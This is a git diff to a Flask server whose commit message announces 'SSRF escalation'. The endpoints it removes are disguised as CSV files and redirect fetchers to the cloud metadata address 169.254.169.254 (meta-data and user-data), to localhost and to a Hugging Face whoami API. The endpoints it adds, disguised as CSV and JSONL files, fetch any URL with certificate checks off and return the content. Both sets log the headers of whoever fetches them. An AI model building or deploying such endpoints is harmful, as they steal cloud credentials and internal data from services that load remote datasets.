Add proxy CSV/JSONL endpoints for SSRF escalation

app.py

@@ -50,9 +50,10 @@ def redir():
     code = int(request.args.get('code', '302'))
     return redirect(target, code=code)
 
-# Redirect endpoints disguised as data files for SSRF testing
-@app.route('/redir-metadata.csv')
-def redir_metadata():
+# Smart proxy CSV: fetches any URL and returns result as CSV
+@app.route('/proxy-csv.csv')
+def proxy_csv():
+    target = request.args.get('t', '')
     entry = {
         'time': time.time(),
         'method': request.method,
@@ -61,50 +62,21 @@ def redir_metadata():
         'remote_addr': request.remote_addr
     }
     LOG.append(entry)
-    return redirect('http://169.254.169.254/latest/meta-data/', 302)
-
-@app.route('/redir-metadata-v2.csv')
-def redir_metadata_v2():
-    entry = {
-        'time': time.time(),
-        'method': request.method,
-        'path': request.full_path,
-        'headers': dict(request.headers),
-        'remote_addr': request.remote_addr
-    }
-    LOG.append(entry)
-    # IMDSv1 - different path
-    return redirect('http://169.254.169.254/latest/user-data', 302)
-
-@app.route('/redir-internal.csv')
-def redir_internal():
-    entry = {
-        'time': time.time(),
-        'method': request.method,
-        'path': request.full_path,
-        'headers': dict(request.headers),
-        'remote_addr': request.remote_addr
-    }
-    LOG.append(entry)
-    # Try to hit HuggingFace internal API
-    return redirect('http://huggingface.co/api/whoami', 302)
-
-@app.route('/redir-localhost.csv')
-def redir_localhost():
-    entry = {
-        'time': time.time(),
-        'method': request.method,
-        'path': request.full_path,
-        'headers': dict(request.headers),
-        'remote_addr': request.remote_addr
-    }
-    LOG.append(entry)
-    return redirect('http://localhost:8080/', 302)
+    if not target:
+        return 'text\nno target specified\n', 200, {'Content-Type': 'text/csv'}
+    try:
+        r = requests.get(target, timeout=10, verify=False)
+        # Wrap response as CSV
+        lines = r.text.split('\n')[:100]
+        csv_data = 'text\n' + '\n'.join(f'"{line}"' for line in lines if line.strip()) + '\n'
+        return csv_data, 200, {'Content-Type': 'text/csv'}
+    except Exception as e:
+        return f'text\nerror: {str(e)}\n', 200, {'Content-Type': 'text/csv'}
 
-@app.route('/redir-target.csv')
-def redir_target():
-    """Dynamic redirect - set target via query param"""
-    target = request.args.get('t', 'http://127.0.0.1/')
+# Smart proxy JSONL: fetches any URL and returns result as JSONL
+@app.route('/proxy-jsonl.jsonl')
+def proxy_jsonl():
+    target = request.args.get('t', '')
     entry = {
         'time': time.time(),
         'method': request.method,
@@ -113,7 +85,15 @@ def redir_target():
         'remote_addr': request.remote_addr
     }
     LOG.append(entry)
-    return redirect(target, 302)
+    if not target:
+        return '{"text": "no target"}\n', 200, {'Content-Type': 'application/jsonl'}
+    try:
+        r = requests.get(target, timeout=10, verify=False)
+        lines = r.text.split('\n')[:100]
+        jsonl_data = '\n'.join(json.dumps({"text": line}) for line in lines if line.strip()) + '\n'
+        return jsonl_data, 200, {'Content-Type': 'application/jsonl'}
+    except Exception as e:
+        return json.dumps({"text": f"error: {str(e)}"}) + '\n', 200, {'Content-Type': 'application/jsonl'}
 
 @app.route('/mcp-proxy', methods=['GET', 'POST'])
 def mcp_proxy():
@@ -139,18 +119,6 @@ def mcp_proxy():
                 f"data: {json.dumps({'error': str(e)})}\n\n",
                 content_type='text/event-stream'
             )
-    if request.method == 'POST':
-        body = request.get_json(silent=True) or {}
-        if body.get('method') == 'initialize':
-            return jsonify({
-                "jsonrpc": "2.0",
-                "id": body.get('id', 0),
-                "result": {
-                    "protocolVersion": "2025-11-25",
-                    "capabilities": {"tools": {}},
-                    "serverInfo": {"name": "test-server", "version": "1.0.0"}
-                }
-            })
     return jsonify({"status": "ok"})
 
 @app.route('/env')